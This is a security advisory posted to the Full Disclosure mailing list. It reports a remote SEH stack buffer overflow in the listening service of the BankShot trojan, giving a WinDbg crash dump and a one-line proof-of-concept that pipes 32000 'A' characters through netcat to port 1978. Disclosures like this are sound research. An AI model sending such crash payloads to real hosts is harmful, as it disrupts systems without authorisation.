Message-ID: <CAAHK0WTHZAhYsRmtoffxVK5d5pia=R_CtEzMNdVrhD8Yyfy7cg@mail.gmail.com>
Date: Tue, 30 Jan 2024 23:46:05 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] TROJAN.WIN32 BANKSHOT / Remote Stack Buffer Overflow (SEH)

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024
Original source:
https://malvuln.com/advisory/f2fd6a7b400782bb43499e722fb62cf4.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Trojan.Win32 BankShot
Vulnerability: Remote Stack Buffer Overflow (SEH)
Description: The malware listens on TCP port 1978 and creates a local
Windows service running with SYSTEM integrity. Third-party adversaries who
can reach the server can send a specially crafted payload triggering a
stack buffer overflow overwriting ECX, EIP registers and Structured
Exception Handler (SEH)
Family: BankShot
Type: PE32
MD5: f2fd6a7b400782bb43499e722fb62cf4
Vuln ID: MVID-2024-0669
ASLR: Not Enabled
DEP: Enabled
SEH: Not Enabled
CFG: Not Enabled
Disclosure: 01/30/2024

Memory Dump:
(16bc.cf8): Access violation - code c0000005 (first/second chance not
available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77309d70 esi=00000000
edi=00000000
eip=41414141 esp=061511f0 ebp=06151210 iopl=0         nv up ei pl zr na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010246
41414141 ??              ???
0:005> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=77309d70 esi=00000000
edi=00000000
eip=41414141 esp=061511f0 ebp=06151210 iopl=0         nv up ei pl zr na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010246
41414141 ??              ???
0:005> !analyze -v
*******************************************************************************
*
  *
*                        Exception Analysis
  *
*
  *
*******************************************************************************

*** WARNING: Unable to verify checksum for MouseServer.exe
*** ERROR: Module load completed but symbols could not be loaded for
MouseServer.exe
Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
MouseServer+2a95e
0042a95e f3a4            rep movs byte ptr es:[edi],byte ptr [esi]

EXCEPTION_RECORD:  0624dec4 -- (.exr 0x624dec4)
ExceptionAddress: 0042a95e (MouseServer+0x0002a95e)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000001
   Parameter[1]: 06250000
Attempt to write to address 06250000

PROCESS_NAME:  MouseServer.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced
memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141

FOLLOWUP_IP:
MouseServer+2a95e
0042a95e f3a4            rep movs byte ptr es:[edi],byte ptr [esi]

FAILED_INSTRUCTION_ADDRESS:
+2a95e
41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  41414141

IP_IN_FREE_BLOCK: 41414141

CONTEXT:  0624df14 -- (.cxr 0x624df14)
eax=027fce88 ebx=0624fbfc ecx=000008d8 edx=00001d00 esi=027fc5b0
edi=06250000
eip=0042a95e esp=0624e374 ebp=0624fbf0 iopl=0         nv up ei pl nz na po
cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010203
MouseServer+0x2a95e:
0042a95e f3a4            rep movs byte ptr es:[edi],byte ptr [esi]
Resetting default scope

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:
 APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS:
 STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID:  STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER:  from 41414141 to 0042a95e

FRAME_ONE_INVALID: 1

STACK_TEXT:
0624e374 0042a95e mouseserver+0x2a95e
0624fbf8 41414141 unknown!printable+0x0


STACK_COMMAND:  .cxr 000000000624DF14 ; kb ; dt
ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds
624e374 ; kb

SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  mouseserver+2a95e

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: MouseServer

IMAGE_NAME:  MouseServer.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  58eb1b3a

FAILURE_BUCKET_ID:
 STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_MouseServer.exe!Unknown

BUCKET_ID:
 APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_mouseserver+2a95e

0:005> !exchain
0624ddd4: ntdll!ExecuteHandler2+44 (77309d70)
0624fbe4: 41414141
Invalid exception stack at 41414141


Exploit/PoC:
C:\Users\gg\Desktop>python -c "print('A'*32000)" | nc64.exe x.x.x.x 1978
system windows 6.2
version 1.7.4.0
serverid 7E8539FB-5E68-464F-AE62-129E95A7DFB8



Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Powered by blists - more mailing lists